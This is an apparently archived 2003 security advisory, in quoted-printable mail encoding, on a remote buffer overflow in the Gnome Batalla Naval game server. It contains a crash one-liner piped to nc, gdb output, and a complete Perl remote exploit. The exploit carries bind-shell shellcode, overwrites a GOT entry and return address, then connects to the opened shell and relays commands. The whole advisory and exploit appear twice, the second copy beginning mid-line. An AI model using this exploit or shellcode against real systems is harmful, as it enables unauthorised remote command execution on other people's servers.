=?iso-8859-1?Q?wsxz?=
27/05/03, 21:05
Priv8security advisory: 1=0D=0A------------------------------------------=
-----------------------------=0D=0AProduct: Gnome Batalla Naval=0D=0AVers=
ion: 1.0.4 (and probably earlier versions)=0D=0AVendor: http://batnav.sou=
rceforge.net/=0D=0AProblem: Remote Buffer overflow=0D=0AAuthor: Wsxz (wsx=
z@priv8security.com)=0D=0A-----------------------------------------------=
------------------------=0D=0A=0D=0AI - About:=0D=0A----------=0D=0AFrom =
vendor site: Batalla Naval is a networked, multiplayer battleship=0D=0Aga=
me. It has robots, and support for GGZ Gaming Zone and for IPv6.=0D=0A=0D=
=0A=0D=0AII - Problem:=0D=0A-------------=0D=0AWhen a user starts gbnserv=
er, remote players can crash the server by=0D=0Asending a long string.=0D=
=0A(perl -e 'print "A" x 500 . "\xdc\xf8\x04\x08" . "\x0f\xff\xff\xbf" x =
20=0D=0A. "\r\n"';cat) | nc localhost 1995=0D=0A=0D=0Agdb output.=0D=0A=0D=
=0A0x405584f7 in poll () from /lib/i686/libc.so.6=0D=0A(gdb) c=0D=0AConti=
nuing.=0D=0A=0D=0AProgram received signal SIGSEGV, Segmentation fault.=0D=
=0A0xbfffff7a in ?? ()=0D=0A=0D=0AThis string will cause gbnserver to cra=
sh and making it possible to users=0D=0Aexecute commands under uid of use=
r that started the server.=0D=0A=0D=0A=0D=0AIII - Fix:=0D=0A---------=0D=0A=
No fix at the moment.=0D=0A=0D=0A=0D=0AIV - Credit:=0D=0A-----------=0D=0A=
Bug found by wsxz, any questions mail me at wsxz@priv8security.com=0D=0AV=
isit http://www.priv8security.com=0D=0ASorry, for my poor english.=0D=0A=0D=
=0A=0D=0AV - Exploit (Proof of Concept):=0D=0A---------------------------=
----=0D=0AExploit url http://releases.priv8security.org/priv8gbn.pl=0D=0A=
=0D=0A---cut here----=0D=0A=0D=0A#!/usr/bin/perl=0D=0A# Priv8security.com=
remote exploit for Gnome Batalla Naval Server v1.0.4=0D=0A#=0D=0A# Ga=
me url http://batnav.sourceforge.net/=0D=0A# Tested against Mandrake 9=
..0=0D=0A#=0D=0A# [wsxz@localhost buffer]$ perl priv8gbn.pl 127.0.0.1=0D=
=0A# Connected!=0D=0A# [+] Using ret address: 0xbffff3a2=0D=0A# =
[+] Using got address: 0x804f8dc=0D=0A# [+] Sending stuff...=0D=0A# =
[+] Done ;pPPp=0D=0A# [?] Now lets see if we got a shell...=0D=0A# =
[+] Enjoy your stay on this server =3D)=0D=0A# Linux wsxz.box 2.4.21-=
0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 =0D=0Ai686 unknown unknown GNU/Li=
nux=0D=0A# uid=3D503(wsxz) gid=3D503(wsxz) groups=3D503(wsxz)=0D=0A#=0D=
=0A=0D=0Ause IO::Socket;=0D=0Aif (@ARGV < 1 || @ARGV > 3) {=0D=0Aprint "-=
=3D Priv8security.com remote gbatnav-1.0.4 server on linux =3D-\n";=0D=0A=
print "Usage: perl $0 <host> <port=3D1995> <offset=3D100>\n";=0D=0Aexit;=0D=
=0A}=0D=0Aif (@ARGV >=3D 2) {=0D=0A$port =3D $ARGV[1];=0D=0A$offset =3D $=
ARGV[2];=0D=0A} else {=0D=0A$port =3D 1995;=0D=0A$offset =3D 0;=0D=0A}=0D=
=0A$shellcode =3D #bind shellcode port 5074 by s0t4ipv6@shellcode.com.ar=0D=
=0A"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x 66".=0D=0A"\xcd\x80=
\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1".=0D=0A"\x6a\x10\x51\x50=
\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04".=0D=0A"\x43\x43\xb0\x66\xcd=
\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66".=0D=0A"\xcd\x80\x93\x89\xd1\xb0\x3f=
\xcd\x80\x41\x80\xf9\x03\x75\xf6".=0D=0A"\x52\x68\x6e\x2f\x73\x68\x68\x2f=
\x2f\x62\x69\x89\xe3\x52\x53".=0D=0A"\x89\xe1\xb0\x0b\xcd\x80";=0D=0A=0D=0A=
$ret =3D 0xbffff3a2; # ret mdk 9.0=0D=0A$gotaddr =3D 0x0804f8dc; #objdump=
-R ./gbnserver | grep strcpy=0D=0A$new_ret =3D pack('l', ($ret + $offset=
));=0D=0A$new_got =3D pack('l', ($gotaddr));=0D=0A$buffer .=3D "\x90" x (=
500 - length($shellcode));=0D=0A$buffer .=3D $shellcode;=0D=0A$buffer .=3D=
$new_got;=0D=0A$buffer .=3D $new_ret x 20;=0D=0A=0D=0A=0D=0A=0D=0A$f =3D=
IO::Socket::INET->new(Proto=3D>"tcp",=0D=0APeerHost=3D>$ARGV[0],PeerPort=
=3D>$port)=0D=0Aor die "Cant connect to server or port...\n";=0D=0A=0D=0A=
print "Connected!\n";=0D=0Aprint "[+] Using ret address: 0x", sprintf('%l=
x',($ret)), "\n";=0D=0Aprint "[+] Using got address: 0x", sprintf('%lx',(=
$gotaddr)), "\n";=0D=0Aprint "[+] Sending stuff...\n";=0D=0Aprint $f "$bu=
ffer\r\n\r\n";=0D=0Aprint "[+] Done ;pPPp\n";=0D=0Aprint "[?] Now lets se=
e if we got a shell...\n";=0D=0Aclose($f);=0D=0A=0D=0A$handle =3D IO::Soc=
ket::INET->new(Proto=3D>"tcp",=0D=0APeerHost=3D>$ARGV[0],PeerPort=3D>5074=
,Type=3D>SOCK_STREAM,Reuse=3D>1)=0D=0Aor die "[-] No luck, try next time =
ok ...\n";=0D=0A=0D=0Aprint "[+] Enjoy your stay on this server =3D)\n";=0D=
=0A=0D=0A$handle->autoflush(1);=0D=0Aprint $handle "uname -a;id\n";=0D=0A=
=0D=0A # split the program into two processes, identical twins=0D=0A =
die "cant fork: $!" unless defined($kidpid =3D fork());=0D=0A=0D=0A =
# the if{} block runs only in the parent process=0D=0A if ($kidpid) {=0D=
=0A # copy the socket to standard output=0D=0A while (defin=
ed ($line =3D <$handle>)) {=0D=0A print STDOUT $line;=0D=0A =
}=0D=0A kill("TERM", $kidpid); # send SIGTERM to child=0D=0A=
}=0D=0A # the else{} block runs only in the child process=0D=0A =
else {=0D=0A # copy standard input to the socket=0D=0A whi=
le (defined ($line =3D <STDIN>)) {=0D=0A print $handle $line;=0D=
=0A }=0D=0A }=0D=0A=0D=0A---cut here-----
-----------------------------=0D=0AProduct: Gnome Batalla Naval=0D=0AVers=
ion: 1.0.4 (and probably earlier versions)=0D=0AVendor: http://batnav.sou=
rceforge.net/=0D=0AProblem: Remote Buffer overflow=0D=0AAuthor: Wsxz (wsx=
z@priv8security.com)=0D=0A-----------------------------------------------=
------------------------=0D=0A=0D=0AI - About:=0D=0A----------=0D=0AFrom =
vendor site: Batalla Naval is a networked, multiplayer battleship=0D=0Aga=
me. It has robots, and support for GGZ Gaming Zone and for IPv6.=0D=0A=0D=
=0A=0D=0AII - Problem:=0D=0A-------------=0D=0AWhen a user starts gbnserv=
er, remote players can crash the server by=0D=0Asending a long string.=0D=
=0A(perl -e 'print "A" x 500 . "\xdc\xf8\x04\x08" . "\x0f\xff\xff\xbf" x =
20=0D=0A. "\r\n"';cat) | nc localhost 1995=0D=0A=0D=0Agdb output.=0D=0A=0D=
=0A0x405584f7 in poll () from /lib/i686/libc.so.6=0D=0A(gdb) c=0D=0AConti=
nuing.=0D=0A=0D=0AProgram received signal SIGSEGV, Segmentation fault.=0D=
=0A0xbfffff7a in ?? ()=0D=0A=0D=0AThis string will cause gbnserver to cra=
sh and making it possible to users=0D=0Aexecute commands under uid of use=
r that started the server.=0D=0A=0D=0A=0D=0AIII - Fix:=0D=0A---------=0D=0A=
No fix at the moment.=0D=0A=0D=0A=0D=0AIV - Credit:=0D=0A-----------=0D=0A=
Bug found by wsxz, any questions mail me at wsxz@priv8security.com=0D=0AV=
isit http://www.priv8security.com=0D=0ASorry, for my poor english.=0D=0A=0D=
=0A=0D=0AV - Exploit (Proof of Concept):=0D=0A---------------------------=
----=0D=0AExploit url http://releases.priv8security.org/priv8gbn.pl=0D=0A=
=0D=0A---cut here----=0D=0A=0D=0A#!/usr/bin/perl=0D=0A# Priv8security.com=
remote exploit for Gnome Batalla Naval Server v1.0.4=0D=0A#=0D=0A# Ga=
me url http://batnav.sourceforge.net/=0D=0A# Tested against Mandrake 9=
..0=0D=0A#=0D=0A# [wsxz@localhost buffer]$ perl priv8gbn.pl 127.0.0.1=0D=
=0A# Connected!=0D=0A# [+] Using ret address: 0xbffff3a2=0D=0A# =
[+] Using got address: 0x804f8dc=0D=0A# [+] Sending stuff...=0D=0A# =
[+] Done ;pPPp=0D=0A# [?] Now lets see if we got a shell...=0D=0A# =
[+] Enjoy your stay on this server =3D)=0D=0A# Linux wsxz.box 2.4.21-=
0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 =0D=0Ai686 unknown unknown GNU/Li=
nux=0D=0A# uid=3D503(wsxz) gid=3D503(wsxz) groups=3D503(wsxz)=0D=0A#=0D=
=0A=0D=0Ause IO::Socket;=0D=0Aif (@ARGV < 1 || @ARGV > 3) {=0D=0Aprint "-=
=3D Priv8security.com remote gbatnav-1.0.4 server on linux =3D-\n";=0D=0A=
print "Usage: perl $0 <host> <port=3D1995> <offset=3D100>\n";=0D=0Aexit;=0D=
=0A}=0D=0Aif (@ARGV >=3D 2) {=0D=0A$port =3D $ARGV[1];=0D=0A$offset =3D $=
ARGV[2];=0D=0A} else {=0D=0A$port =3D 1995;=0D=0A$offset =3D 0;=0D=0A}=0D=
=0A$shellcode =3D #bind shellcode port 5074 by s0t4ipv6@shellcode.com.ar=0D=
=0A"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x 66".=0D=0A"\xcd\x80=
\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1".=0D=0A"\x6a\x10\x51\x50=
\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04".=0D=0A"\x43\x43\xb0\x66\xcd=
\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66".=0D=0A"\xcd\x80\x93\x89\xd1\xb0\x3f=
\xcd\x80\x41\x80\xf9\x03\x75\xf6".=0D=0A"\x52\x68\x6e\x2f\x73\x68\x68\x2f=
\x2f\x62\x69\x89\xe3\x52\x53".=0D=0A"\x89\xe1\xb0\x0b\xcd\x80";=0D=0A=0D=0A=
$ret =3D 0xbffff3a2; # ret mdk 9.0=0D=0A$gotaddr =3D 0x0804f8dc; #objdump=
-R ./gbnserver | grep strcpy=0D=0A$new_ret =3D pack('l', ($ret + $offset=
));=0D=0A$new_got =3D pack('l', ($gotaddr));=0D=0A$buffer .=3D "\x90" x (=
500 - length($shellcode));=0D=0A$buffer .=3D $shellcode;=0D=0A$buffer .=3D=
$new_got;=0D=0A$buffer .=3D $new_ret x 20;=0D=0A=0D=0A=0D=0A=0D=0A$f =3D=
IO::Socket::INET->new(Proto=3D>"tcp",=0D=0APeerHost=3D>$ARGV[0],PeerPort=
=3D>$port)=0D=0Aor die "Cant connect to server or port...\n";=0D=0A=0D=0A=
print "Connected!\n";=0D=0Aprint "[+] Using ret address: 0x", sprintf('%l=
x',($ret)), "\n";=0D=0Aprint "[+] Using got address: 0x", sprintf('%lx',(=
$gotaddr)), "\n";=0D=0Aprint "[+] Sending stuff...\n";=0D=0Aprint $f "$bu=
ffer\r\n\r\n";=0D=0Aprint "[+] Done ;pPPp\n";=0D=0Aprint "[?] Now lets se=
e if we got a shell...\n";=0D=0Aclose($f);=0D=0A=0D=0A$handle =3D IO::Soc=
ket::INET->new(Proto=3D>"tcp",=0D=0APeerHost=3D>$ARGV[0],PeerPort=3D>5074=
,Type=3D>SOCK_STREAM,Reuse=3D>1)=0D=0Aor die "[-] No luck, try next time =
ok ...\n";=0D=0A=0D=0Aprint "[+] Enjoy your stay on this server =3D)\n";=0D=
=0A=0D=0A$handle->autoflush(1);=0D=0Aprint $handle "uname -a;id\n";=0D=0A=
=0D=0A # split the program into two processes, identical twins=0D=0A =
die "cant fork: $!" unless defined($kidpid =3D fork());=0D=0A=0D=0A =
# the if{} block runs only in the parent process=0D=0A if ($kidpid) {=0D=
=0A # copy the socket to standard output=0D=0A while (defin=
ed ($line =3D <$handle>)) {=0D=0A print STDOUT $line;=0D=0A =
}=0D=0A kill("TERM", $kidpid); # send SIGTERM to child=0D=0A=
}=0D=0A # the else{} block runs only in the child process=0D=0A =
else {=0D=0A # copy standard input to the socket=0D=0A whi=
le (defined ($line =3D <STDIN>)) {=0D=0A print $handle $line;=0D=
=0A }=0D=0A }=0D=0A=0D=0A---cut here-----